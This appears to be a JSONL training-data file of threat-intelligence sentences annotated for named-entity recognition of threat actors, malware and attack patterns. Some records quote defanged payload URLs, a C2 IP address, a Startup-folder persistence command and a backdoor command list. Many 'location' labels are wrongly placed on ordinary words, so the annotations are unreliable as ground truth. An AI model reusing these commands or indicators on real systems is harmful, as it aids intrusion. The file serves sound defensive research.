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{"id":804,"text":" Credential theft today can happen in many ways, but the most notable are through credential phishing and the use of malware like keyloggers (both staples of the Sofacy group), as well as password reuse.","entities":[{"id":44859,"label":"attack-pattern","start_offset":1,"end_offset":17},{"id":44860,"label":"attack-pattern","start_offset":82,"end_offset":101},{"id":44861,"label":"attack-pattern","start_offset":130,"end_offset":140},{"id":44862,"label":"threat-actor","start_offset":162,"end_offset":174},{"id":44863,"label":"attack-pattern","start_offset":188,"end_offset":202}],"relations":[{"id":33,"from_id":44862,"to_id":44863,"type":"uses"},{"id":34,"from_id":44862,"to_id":44861,"type":"uses"},{"id":35,"from_id":44862,"to_id":44860,"type":"uses"},{"id":36,"from_id":44862,"to_id":44859,"type":"uses"}],"Comments":[]}
{"id":10055,"text":"The files tsm32 and tsm64 appear to be scanners responsible for propagating the miner and backdoor via SSH brute force, and capable of sending remote commands to download and execute the malware.","entities":[{"id":30669,"label":"location","start_offset":16,"end_offset":19},{"id":30670,"label":"location","start_offset":80,"end_offset":85},{"id":30671,"label":"location","start_offset":86,"end_offset":89},{"id":30672,"label":"attack-pattern","start_offset":107,"end_offset":118},{"id":30673,"label":"location","start_offset":120,"end_offset":123},{"id":30674,"label":"location","start_offset":143,"end_offset":149},{"id":30675,"label":"location","start_offset":171,"end_offset":174}],"relations":[],"Comments":[]}
{"id":11417,"text":"We believe its use is growing, fueled by demand from governments.","entities":[],"relations":[],"Comments":[]}
{"id":1907,"text":"Of note is one specific application that had a different purpose from the others.","entities":[],"relations":[],"Comments":[]}
{"id":4819,"text":"The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.","entities":[{"id":50755,"label":"campaign","start_offset":4,"end_offset":21},{"id":50756,"label":"SOFTWARE","start_offset":76,"end_offset":92},{"id":50757,"label":"location","start_offset":177,"end_offset":184}],"relations":[],"Comments":[]}
{"id":7717,"text":"This, in turn, downloads an RC4-encrypted FlawedAmmyy RAT payload from hxxp:\/\/92[.]38[.]135[.]67\/2.dat or hxxp:\/\/27[.]102[.]70[.]196\/1.dat that automatically decrypts and executes the malware.","entities":[{"id":23974,"label":"tools","start_offset":42,"end_offset":53},{"id":23975,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
{"id":13650,"text":"This tactic has become more commonplace among cybercriminals.","entities":[],"relations":[],"Comments":[]}
{"id":3024,"text":"This can improve your security by reducing the risk posed by features that you don\u2019t want or need.","entities":[],"relations":[],"Comments":[]}
{"id":1203,"text":"Most of them are pirated or repackaged from famous Android games, such as Plants vs. Zombies 2, Jewels Maze, Fishing Joy, and Where's My Water.","entities":[{"id":46594,"label":"SOFTWARE","start_offset":51,"end_offset":58},{"id":44936,"label":"SOFTWARE","start_offset":74,"end_offset":94},{"id":44937,"label":"SOFTWARE","start_offset":96,"end_offset":107},{"id":44938,"label":"SOFTWARE","start_offset":109,"end_offset":120},{"id":44939,"label":"SOFTWARE","start_offset":126,"end_offset":142}],"relations":[],"Comments":[]}
{"id":4565,"text":"Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.","entities":[{"id":50390,"label":"identity","start_offset":35,"end_offset":38},{"id":50389,"label":"identity","start_offset":16,"end_offset":23},{"id":50391,"label":"identity","start_offset":57,"end_offset":68},{"id":50392,"label":"threat-actor","start_offset":78,"end_offset":83},{"id":50394,"label":"vulnerability","start_offset":132,"end_offset":153},{"id":50393,"label":"threat-actor","start_offset":88,"end_offset":96}],"relations":[{"id":956,"from_id":50393,"to_id":50391,"type":"attributed-to"},{"id":953,"from_id":50393,"to_id":50394,"type":"exploits"},{"id":954,"from_id":50392,"to_id":50394,"type":"exploits"},{"id":955,"from_id":50392,"to_id":50391,"type":"attributed-to"}],"Comments":[]}
{"id":4541,"text":"Google is investing heavily as a company and as an industry to counter serious threats to our users.","entities":[{"id":50336,"label":"identity","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
{"id":2868,"text":"According to Microsoft, it affects versions of Internet Explorer from version 6 to 11, meaning that almost all IE users are vulnerable to this bug.","entities":[{"id":48066,"label":"SOFTWARE","start_offset":47,"end_offset":64},{"id":45736,"label":"identity","start_offset":13,"end_offset":22},{"id":45738,"label":"SOFTWARE","start_offset":111,"end_offset":113}],"relations":[],"Comments":[]}
{"id":10353,"text":"The main PowerShell file invoker.ps1 uses these components to run the final payload, PRB-Backdoor, previously analyzed by other security researchers in May 2018.","entities":[{"id":31532,"label":"attack-pattern","start_offset":9,"end_offset":19},{"id":31533,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]}
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{"id":9333,"text":"We found a new spyware family disguised as chat apps on a phishing website.","entities":[{"id":28806,"label":"location","start_offset":43,"end_offset":47},{"id":28807,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
{"id":4126,"text":"Customized Gh0st RAT","entities":[{"id":12418,"label":"malware","start_offset":11,"end_offset":20}],"relations":[],"Comments":[]}
{"id":3317,"text":"The script will detect the version of the installed WeChat client and grab the decryption key and the user ID.","entities":[{"id":48402,"label":"SOFTWARE","start_offset":52,"end_offset":58}],"relations":[],"Comments":[]}
{"id":1714,"text":" While I2P is far less popular than Tor, it provides similar functionality to the user.","entities":[{"id":5091,"label":"tools","start_offset":36,"end_offset":39},{"id":46888,"label":"SOFTWARE","start_offset":7,"end_offset":10}],"relations":[],"Comments":[]}
{"id":992,"text":"Recently, we found email accounts from top universities across the world being sold on Taobao, the largest consumer-to-consumer (C2C) e-commerce platform in China.","entities":[{"id":46489,"label":"SOFTWARE","start_offset":87,"end_offset":93},{"id":46490,"label":"location","start_offset":157,"end_offset":162}],"relations":[{"id":194,"from_id":46489,"to_id":46490,"type":"located-at"}],"Comments":[]}
{"id":1707,"text":"Some of the more innovative mechanisms include:  These mechanisms are often only used when the primary (and simpler) C2 mechanism has been shut down, but their use makes shutting down a botnet much more challenging.","entities":[],"relations":[],"Comments":[]}
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{"id":1401,"text":"The total number of e-mails detected quickly rose to over 30,000 per hour around noon PST and had not begun to slow down as of 1:30PM PST.","entities":[{"id":45007,"label":"TIME","start_offset":127,"end_offset":137},{"id":4218,"label":"TIME","start_offset":81,"end_offset":89}],"relations":[],"Comments":[]}
{"id":529,"text":"Other file types are often used as the first stage of infection or downloaders, such as archives, documents and scripts.","entities":[],"relations":[],"Comments":[]}
{"id":9507,"text":"During our investigation, we noted that the server hosting the second stage of the PuppetDownloaders malware payload was offline.","entities":[],"relations":[],"Comments":[]}
{"id":12440,"text":"We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
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{"id":3705,"text":"On the other hand, FIN7 performs hooking.","entities":[{"id":11240,"label":"attack-pattern","start_offset":33,"end_offset":40},{"id":49500,"label":"threat-actor","start_offset":19,"end_offset":23}],"relations":[{"id":811,"from_id":49500,"to_id":11240,"type":"uses"}],"Comments":[]}
{"id":4691,"text":"It\u2019s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.","entities":[],"relations":[],"Comments":[]}
{"id":13202,"text":"Welcome Server 2.0\u2019s backdoor (detected as BKDR_TEBSHELL.ZTGK) \u2013 This is the latest version of the backdoor, available in 32-bit and 64-bit versions, which uses an invisible web shell for remote control and network security evasion.","entities":[{"id":41169,"label":"location","start_offset":0,"end_offset":7},{"id":41171,"label":"location","start_offset":129,"end_offset":132},{"id":41173,"label":"attack-pattern","start_offset":174,"end_offset":183},{"id":41174,"label":"location","start_offset":188,"end_offset":194},{"id":41175,"label":"location","start_offset":203,"end_offset":206},{"id":41176,"label":"location","start_offset":215,"end_offset":223}],"relations":[],"Comments":[]}
{"id":11851,"text":"The four exploits were used as a part of three different campaigns.","entities":[],"relations":[],"Comments":[]}
{"id":4183,"text":"Trend Micro Vision One\u2122\ufe0f with Managed XDR gives security teams a consolidated view into valuable insights so they can organize a more solid line of defense ahead of attacks.","entities":[{"id":49984,"label":"SOFTWARE","start_offset":0,"end_offset":24}],"relations":[],"Comments":[]}
{"id":2357,"text":"The payload seems to be a product of extensive software engineering.","entities":[],"relations":[],"Comments":[]}
{"id":4872,"text":"This group also has links to the original developers of H-Worm, also known as njRAT.","entities":[{"id":50874,"label":"malware","start_offset":56,"end_offset":62},{"id":14895,"label":"malware","start_offset":78,"end_offset":83}],"relations":[{"id":1028,"from_id":14895,"to_id":50874,"type":"duplicate-of"}],"Comments":[]}
{"id":4993,"text":"We haven\u2019t retrieved a copy of the exploit.","entities":[],"relations":[],"Comments":[]}
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{"id":3764,"text":"The vulnerability can be leveraged to run commands as a root user on a vulnerable instance.","entities":[],"relations":[],"Comments":[]}
{"id":6128,"text":"It also uses the Google Code page \u201c\/p\/tempzz\u201d for C2, which was also listed in FireEye\u2019s blog.","entities":[{"id":18961,"label":"malware","start_offset":29,"end_offset":33}],"relations":[],"Comments":[]}
{"id":8770,"text":"We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
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{"id":2015,"text":"However, the previous version didn\u2019t change the background at all \u2013 it simply left the ransom note we observed previously (Figure 4).  During analysis and threat intel gathering, we discovered two main packers used for HelloXD ransomware binaries, as well as for other malware samples linked to the potential author (Figure 5).","entities":[{"id":47114,"label":"malware","start_offset":219,"end_offset":226}],"relations":[],"Comments":[]}
{"id":2709,"text":"As of this writing, Microsoft has not stated when a patch for the vulnerability will be available, but in its advisory the company provided multiple work-arounds.","entities":[{"id":45669,"label":"identity","start_offset":20,"end_offset":29}],"relations":[],"Comments":[]}
{"id":5558,"text":"    It can detect whether the website you want to visit has been injected with skimming code, and block you from visiting the URL (via web reputation), as well as from going to malicious domains the skimming code has access to.","entities":[],"relations":[],"Comments":[]}
{"id":2952,"text":"Palo Alto Networks is committed not only to detecting attacks, but preventing them as well.","entities":[{"id":48107,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
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{"id":2065,"text":" We also found a YouTube account linked to the actor through the initial email tebya@poime[.]li, using another alias, Vanya Topor.","entities":[{"id":47156,"label":"identity","start_offset":118,"end_offset":129},{"id":47155,"label":"EMAIL","start_offset":79,"end_offset":95}],"relations":[],"Comments":[]}
{"id":713,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
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{"id":3888,"text":"To prepare for ransomware attacks, CISA recommends enterprises determine their critical operational processes' reliance on key IT infrastructure and identify a resilience plan for when access control is lost.","entities":[{"id":49746,"label":"identity","start_offset":35,"end_offset":39}],"relations":[],"Comments":[]}
{"id":3066,"text":"The code in Figure 5 shows that the \u201cWe have eliminated 1 of %d Threat(s)\u201d message shown in Figure 3 is also hard coded.","entities":[],"relations":[],"Comments":[]}
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{"id":13050,"text":"After migrating to the cloud, enterprises need to be aware of the visibility-related challenges and security risks associated with it.","entities":[],"relations":[],"Comments":[]}
{"id":4030,"text":" We found that the threat actors used vulnerable Internet Information Services (IIS) server and Exchange server vulnerabilities as entry points, and then installed web shells.","entities":[{"id":49871,"label":"vulnerability","start_offset":96,"end_offset":127},{"id":49872,"label":"vulnerability","start_offset":38,"end_offset":91},{"id":49873,"label":"attack-pattern","start_offset":164,"end_offset":174}],"relations":[{"id":884,"from_id":49872,"to_id":49873,"type":"uses"},{"id":885,"from_id":49871,"to_id":49873,"type":"uses"}],"Comments":[]}
{"id":5452,"text":" What can I do about it?","entities":[],"relations":[],"Comments":[]}
{"id":1910,"text":"This application has the same icon and label as the legitimate Threema.","entities":[{"id":47033,"label":"SOFTWARE","start_offset":63,"end_offset":70}],"relations":[],"Comments":[]}
{"id":4489,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.","entities":[{"id":50295,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
{"id":9777,"text":"The backdoor supports the following commands:  $upload - upload a file to file hosting service $dispos - remove persistence $halt - exit $download - download file from a hosting service No prefix - execute command via Invoke Expression (IEX), a PowerShell command that runs commands or expressions on the local computer  Based on our analysis, we can confirm that the targets were Turkish government organizations related to the finance and energy sectors.","entities":[{"id":29783,"label":"attack-pattern","start_offset":245,"end_offset":255},{"id":29784,"label":"location","start_offset":347,"end_offset":350},{"id":29786,"label":"location","start_offset":437,"end_offset":440},{"id":29787,"label":"location","start_offset":441,"end_offset":447}],"relations":[],"Comments":[]}
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{"id":1252,"text":"Using AutoFocus to quickly search and correlate artifacts across the collective set of WildFire and other Palo Alto Networks threat intelligence, we were able to associate the attacks with the group publicly known as \u201cDragonOK.\u201d","entities":[{"id":3823,"label":"malware","start_offset":87,"end_offset":95},{"id":3826,"label":"threat-actor","start_offset":218,"end_offset":226},{"id":46628,"label":"SOFTWARE","start_offset":6,"end_offset":15},{"id":46629,"label":"identity","start_offset":106,"end_offset":124}],"relations":[{"id":196,"from_id":3826,"to_id":3823,"type":"authored-by"}],"Comments":[]}
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{"id":12129,"text":"The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.","entities":[],"relations":[],"Comments":[]}
{"id":6228,"text":"Besides their attack on webmail servers, we also found multiple malware variants used by Earth Wendigo.","entities":[],"relations":[],"Comments":[]}
{"id":6601,"text":"Overview of Iran-Linked Campaigns:","entities":[],"relations":[],"Comments":[]}
{"id":3466,"text":"The decoy document will extract the Marade downloader.","entities":[{"id":49264,"label":"malware","start_offset":36,"end_offset":53},{"id":49265,"label":"attack-pattern","start_offset":4,"end_offset":18}],"relations":[{"id":774,"from_id":49265,"to_id":49264,"type":"delivers"}],"Comments":[]}
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{"id":10368,"text":"In general, users should always practice caution when it comes to email.","entities":[],"relations":[],"Comments":[]}
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{"id":5056,"text":"Recently observed IPs used in Curious Gorge campaigns: COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.","entities":[{"id":51151,"label":"threat-actor","start_offset":30,"end_offset":43},{"id":51152,"label":"threat-actor","start_offset":55,"end_offset":64},{"id":51153,"label":"location","start_offset":68,"end_offset":75},{"id":51154,"label":"threat-actor","start_offset":120,"end_offset":127},{"id":51155,"label":"attack-pattern","start_offset":142,"end_offset":171},{"id":51157,"label":"identity","start_offset":226,"end_offset":255},{"id":51158,"label":"identity","start_offset":263,"end_offset":295},{"id":51156,"label":"identity","start_offset":191,"end_offset":220}],"relations":[{"id":1056,"from_id":51152,"to_id":51153,"type":"located-at"},{"id":1057,"from_id":51154,"to_id":51152,"type":"duplicate-of"},{"id":1058,"from_id":51152,"to_id":51155,"type":"uses"},{"id":1059,"from_id":51152,"to_id":51156,"type":"targets"},{"id":1060,"from_id":51152,"to_id":51157,"type":"targets"},{"id":1061,"from_id":51152,"to_id":51158,"type":"targets"}],"Comments":[]}
{"id":2716,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
{"id":1656,"text":" To better understand this RAT, our team reverse engineered the communication protocol that NetWire uses.","entities":[{"id":45090,"label":"malware","start_offset":92,"end_offset":99}],"relations":[],"Comments":[]}
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{"id":8549,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[{"id":26413,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
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{"id":5249,"text":"We correlated the AnubisSpy variants to Sphinx\u2019s desktop\/PC-targeting malware through the following:  Shared C&C server, 86[.]105[.]18[.]107 Shared technique of decrypting JSON files, and similarity between the file structures of AnubisSpy and Sphinx\u2019s malware Similar targets (highly concentrated in Middle Eastern countries)     Figure 2: Comparison of file structure in Sphinx\u2019s desktop\/PC-targeting malware (left) and AnubisSpy (right)","entities":[{"id":51288,"label":"malware","start_offset":18,"end_offset":27},{"id":51287,"label":"location","start_offset":301,"end_offset":315},{"id":16131,"label":"IPV4","start_offset":121,"end_offset":140},{"id":16134,"label":"malware","start_offset":230,"end_offset":239},{"id":16130,"label":"campaign","start_offset":40,"end_offset":46},{"id":16142,"label":"malware","start_offset":422,"end_offset":431},{"id":16140,"label":"campaign","start_offset":373,"end_offset":379},{"id":16136,"label":"campaign","start_offset":244,"end_offset":250}],"relations":[{"id":1074,"from_id":16130,"to_id":51288,"type":"uses"},{"id":1075,"from_id":16131,"to_id":16130,"type":"indicates"},{"id":1076,"from_id":16136,"to_id":51287,"type":"targets"},{"id":1077,"from_id":16134,"to_id":51287,"type":"targets"}],"Comments":[]}
{"id":2721,"text":" An out-of-band patch is typically released outside of the expected update period for a vendor.","entities":[],"relations":[],"Comments":[]}
{"id":12272,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors\u2019 blog.","entities":[],"relations":[],"Comments":[]}
{"id":8388,"text":"NSO Group continues to pose risks across the Internet ecosystem.","entities":[],"relations":[],"Comments":[]}
{"id":10697,"text":"Furthermore, the complexity of the software supply chain nowadays exacerbates the abuse of open-source software vulnerabilities.","entities":[{"id":32666,"label":"location","start_offset":44,"end_offset":50},{"id":32667,"label":"attack-pattern","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]}
{"id":7787,"text":"Figure 25.","entities":[],"relations":[],"Comments":[]}
{"id":4701,"text":" Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.","entities":[{"id":50589,"label":"identity","start_offset":1,"end_offset":7}],"relations":[],"Comments":[]}
{"id":3213,"text":"The cdaemon module  One of the modules used is called \u201ccdaemon\u201d.","entities":[],"relations":[],"Comments":[]}
{"id":5861,"text":"This just makes it unique.","entities":[{"id":18053,"label":"identity","start_offset":5,"end_offset":9}],"relations":[],"Comments":[]}
{"id":711,"text":"That ensures that a session key derived from a stolen private key and a collected public key in the future will not be compromised.","entities":[],"relations":[],"Comments":[]}
{"id":973,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":10611,"text":"From July to September 2019, we sent more than 12,000 warnings to users in 149 countries that they were targeted by government-backed attackers.","entities":[],"relations":[],"Comments":[]}
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{"id":2274,"text":"The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).","entities":[{"id":45435,"label":"malware","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
{"id":8847,"text":"The relationship between the normal file used, the PlugX, and the malicious BLOB      Despite being around for quite some time, PlugX is still effective at evading detection.","entities":[{"id":27391,"label":"location","start_offset":17,"end_offset":24},{"id":27392,"label":"location","start_offset":29,"end_offset":35},{"id":27393,"label":"malware","start_offset":51,"end_offset":56},{"id":27394,"label":"location","start_offset":58,"end_offset":61},{"id":27395,"label":"location","start_offset":122,"end_offset":126},{"id":27396,"label":"tools","start_offset":128,"end_offset":133}],"relations":[],"Comments":[]}
{"id":9631,"text":"Figure 2.","entities":[],"relations":[],"Comments":[]}
{"id":12630,"text":"The actual encryption routine is slightly unusual.","entities":[],"relations":[],"Comments":[]}
{"id":5485,"text":"love refused, but when hayat22 demurred and gave love an online cold shoulder, love tried installing Tweety Chat \u2014 and failed.","entities":[{"id":51480,"label":"identity","start_offset":0,"end_offset":4},{"id":51481,"label":"identity","start_offset":23,"end_offset":30},{"id":51486,"label":"SOFTWARE","start_offset":101,"end_offset":107},{"id":51484,"label":"identity","start_offset":49,"end_offset":53},{"id":51485,"label":"identity","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
{"id":515,"text":"Some ransomware families don\u2019t deliver different variants every time, but the infection ratio per sample is high, meaning attackers delivered the same malware to huge numbers of victims.","entities":[],"relations":[],"Comments":[]}
{"id":2111,"text":" Please enter your email address!","entities":[],"relations":[],"Comments":[]}
{"id":3086,"text":" Situation  ","entities":[],"relations":[],"Comments":[]}
{"id":4806,"text":"The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.","entities":[{"id":50722,"label":"SOFTWARE","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]}
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{"id":2649,"text":" LockBit 2.0 has been observed changing infected computers\u2019 backgrounds to a ransomware note.","entities":[{"id":45647,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
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{"id":708,"text":" There\u2019s a lot out there already about what Heartbleed means for the Web and beyond, and I\u2019ll point you to our own analysis written by Scott Simkin or an essay by Dan Goodin over at ars technica for that explanation.","entities":[{"id":44834,"label":"identity","start_offset":135,"end_offset":147},{"id":44835,"label":"identity","start_offset":163,"end_offset":173},{"id":44836,"label":"identity","start_offset":182,"end_offset":194},{"id":44837,"label":"vulnerability","start_offset":44,"end_offset":54}],"relations":[],"Comments":[]}
{"id":2618,"text":"Even without extortion, the group\u2019s attacks and leaks of stolen information can be damaging.","entities":[],"relations":[],"Comments":[]}
{"id":2129,"text":"There is detailed information about the vulnerability and how to exploit it available currently.","entities":[],"relations":[],"Comments":[]}
{"id":959,"text":" The Taomike library is called \u201czdtpay\u201d and is a component of Taomike\u2019s IAP system.  Because Android apps are required to list the permissions they need in their manifest file, we can see that this library requires both SMS and network related permissions.","entities":[{"id":46467,"label":"SOFTWARE","start_offset":62,"end_offset":82},{"id":46468,"label":"SOFTWARE","start_offset":93,"end_offset":100},{"id":46466,"label":"identity","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]}
{"id":1654,"text":" Of particular note is how these actors use a Remote Administration Tool (RAT) named NetWire (part of the NetWiredRC malware family).","entities":[{"id":46866,"label":"malware","start_offset":85,"end_offset":92},{"id":46867,"label":"malware","start_offset":106,"end_offset":116}],"relations":[{"id":243,"from_id":46866,"to_id":46867,"type":"variant-of"}],"Comments":[]}
{"id":13696,"text":"Educate and train employees.","entities":[],"relations":[],"Comments":[]}
{"id":6893,"text":"Following our November update, today we\u2019re sharing the latest insights to fight phishing, and for security teams, providing more details about our work identifying attacks against zero-day vulnerabilities.","entities":[{"id":21568,"label":"attack-pattern","start_offset":80,"end_offset":88},{"id":21569,"label":"location","start_offset":90,"end_offset":93},{"id":21570,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]}
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{"id":4374,"text":"For years, we have been countering this group\u2019s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":50179,"label":"attack-pattern","start_offset":59,"end_offset":74},{"id":50181,"label":"identity","start_offset":181,"end_offset":199},{"id":50180,"label":"attack-pattern","start_offset":76,"end_offset":90}],"relations":[],"Comments":[]}
{"id":10495,"text":"We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.","entities":[],"relations":[],"Comments":[]}
{"id":6501,"text":"Finally, we observed a persistence mechanism being set using the following commands: cmd.exe \/c Wscript.exe \"C:\\Users\\[REDACTED]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\news.js\"  cmd.exe \/c \"C:\\Users\\[REDACTED]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\newsblog.js\"","entities":[{"id":20154,"label":"tools","start_offset":85,"end_offset":92},{"id":20155,"label":"malware","start_offset":201,"end_offset":208}],"relations":[],"Comments":[]}
{"id":7353,"text":"The honeynet graphs, which show activity peaks associated with specific actions, also suggest that the scans were timed.","entities":[],"relations":[],"Comments":[]}
{"id":6789,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":13446,"text":"The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and\/or DOCs hosted on Google Drive and Microsoft One Drive.","entities":[{"id":41861,"label":"location","start_offset":32,"end_offset":35},{"id":41862,"label":"attack-pattern","start_offset":111,"end_offset":119},{"id":41864,"label":"location","start_offset":208,"end_offset":211}],"relations":[],"Comments":[]}
{"id":685,"text":"Note that since the Microsoft Equation Editor runs as its own process (eqnedt32.exe), protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not effective by default, as they only protect Microsoft Office processes (such as winword.exe).  OLE Objects & HTA Handlers","entities":[{"id":46263,"label":"SOFTWARE","start_offset":144,"end_offset":174},{"id":46264,"label":"SOFTWARE","start_offset":20,"end_offset":45},{"id":46262,"label":"SOFTWARE","start_offset":110,"end_offset":126},{"id":46265,"label":"FILEPATH","start_offset":71,"end_offset":83},{"id":46266,"label":"SOFTWARE","start_offset":226,"end_offset":242},{"id":46267,"label":"FILEPATH","start_offset":262,"end_offset":273}],"relations":[],"Comments":[]}
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{"id":4881,"text":" With contributions from Winnona DeSombre UAE hack-for-hire Group Domains: Indian hack-for-hire Group Domains: Russian hack-for-hire Group Domains:","entities":[{"id":50889,"label":"location","start_offset":75,"end_offset":81},{"id":50888,"label":"location","start_offset":42,"end_offset":45},{"id":50890,"label":"location","start_offset":111,"end_offset":118},{"id":50887,"label":"identity","start_offset":25,"end_offset":41}],"relations":[],"Comments":[]}
{"id":9090,"text":"What other techniques were they known for\u2014that other cybercriminals emulated?","entities":[],"relations":[],"Comments":[]}
{"id":5272,"text":" Trend Micro Solutions End users and enterprises can also benefit from multilayered mobile security solutions such as Trend Micro\u2122 Mobile Security which is also available on Google Play.","entities":[{"id":51313,"label":"SOFTWARE","start_offset":118,"end_offset":146},{"id":51312,"label":"SOFTWARE","start_offset":1,"end_offset":22},{"id":51314,"label":"SOFTWARE","start_offset":174,"end_offset":185}],"relations":[],"Comments":[]}
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{"id":1776,"text":"In WildFire, we added modules for web browser scripts and third party plugins such as Flash.","entities":[{"id":45125,"label":"SOFTWARE","start_offset":3,"end_offset":11},{"id":45126,"label":"SOFTWARE","start_offset":86,"end_offset":91}],"relations":[],"Comments":[]}
{"id":4031,"text":"Afterward, the .NET loader (detected as Nerapack) and the first stage backdoor (Quasar remote administration tool aka Quasar RAT) were deployed on the compromised machine.","entities":[{"id":49875,"label":"malware","start_offset":80,"end_offset":113},{"id":49874,"label":"malware","start_offset":40,"end_offset":48},{"id":49876,"label":"malware","start_offset":118,"end_offset":128}],"relations":[{"id":887,"from_id":49875,"to_id":49876,"type":"duplicate-of"},{"id":888,"from_id":49874,"to_id":49876,"type":"delivers"}],"Comments":[]}
{"id":1097,"text":" The solution to this problem is to use a mutex to protect the integrity of the cookie file.","entities":[],"relations":[],"Comments":[]}
{"id":10255,"text":"Among the earliest samples we received were two almost identical RAR files that contained a file called info.exe.","entities":[],"relations":[],"Comments":[]}
{"id":11297,"text":"Copyright \u00a9 2022.","entities":[],"relations":[],"Comments":[]}
{"id":4293,"text":"A more proactive stance that includes proper application of firewalls and intrusion detection and prevention systems can help mitigate the impact of an attack Implement network segmentation.","entities":[],"relations":[],"Comments":[]}
{"id":9552,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":29310,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":29311,"label":"location","start_offset":57,"end_offset":61},{"id":29315,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
{"id":64,"text":"Figure 3: Price of Monero in U.S. dollars from CoinMarketCap  ","entities":[{"id":45821,"label":"SOFTWARE","start_offset":19,"end_offset":25},{"id":45823,"label":"SOFTWARE","start_offset":47,"end_offset":60}],"relations":[],"Comments":[]}
{"id":2883,"text":"The Timers are all set to repeat every one second for 4,096 seconds.","entities":[{"id":8814,"label":"TIME","start_offset":33,"end_offset":49},{"id":8815,"label":"TIME","start_offset":54,"end_offset":67}],"relations":[],"Comments":[]}
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{"id":602,"text":"In the past, Hancitor was sent as a malicious attachment in a spam email which would then download and install the attackers\u2019 final malware like a banking Trojan.","entities":[{"id":46195,"label":"malware","start_offset":13,"end_offset":21},{"id":46196,"label":"attack-pattern","start_offset":36,"end_offset":72}],"relations":[{"id":167,"from_id":46195,"to_id":46196,"type":"uses"}],"Comments":[]}
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{"id":2630,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  LockBit 2.0 is ransomware as a service (RaaS) that first emerged in June 2021 as an upgrade to its predecessor LockBit (aka ABCD Ransomware), which was first observed in September 2019.","entities":[{"id":47805,"label":"TIME","start_offset":121,"end_offset":130},{"id":47806,"label":"malware","start_offset":164,"end_offset":171},{"id":47808,"label":"TIME","start_offset":223,"end_offset":237},{"id":47804,"label":"malware","start_offset":53,"end_offset":64},{"id":47807,"label":"malware","start_offset":177,"end_offset":192}],"relations":[{"id":361,"from_id":47804,"to_id":47806,"type":"variant-of"},{"id":363,"from_id":47807,"to_id":47806,"type":"duplicate-of"}],"Comments":[]}
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{"id":3626,"text":" Spear phishing is a more refined and focused version of phishing.","entities":[{"id":10946,"label":"attack-pattern","start_offset":1,"end_offset":15},{"id":10948,"label":"attack-pattern","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
{"id":7159,"text":"We detailed how Iron Tiger threat actors have updated their tools, adding new features, and slightly changing their tactics, techniques, and procedures (TTPs), notably by using a rootkit to hide its backdoors.","entities":[{"id":22396,"label":"location","start_offset":88,"end_offset":91},{"id":22397,"label":"location","start_offset":137,"end_offset":140},{"id":22398,"label":"attack-pattern","start_offset":179,"end_offset":186}],"relations":[],"Comments":[]}
{"id":9117,"text":"Serving criteria were often modified, malicious payloads were often updated.","entities":[],"relations":[],"Comments":[]}
{"id":1366,"text":"The difference between === and == involves the === comparing the value and type of value of the variable, not just the value, as happens when using ==.","entities":[],"relations":[],"Comments":[]}
{"id":552,"text":"Attackers can create a lot of cryptocurrency wallets automatically; they can even make a unique wallet address for each victim.","entities":[],"relations":[],"Comments":[]}
{"id":1009,"text":"3. Obtaining access to academic databases:","entities":[],"relations":[],"Comments":[]}
{"id":5572,"text":"After analyzing the samples, we found four different versions of the malware, all of which rely on an embedded JavaScript Observed Notation (JSON)-based configuration to set parameters before encrypting files.","entities":[],"relations":[],"Comments":[]}
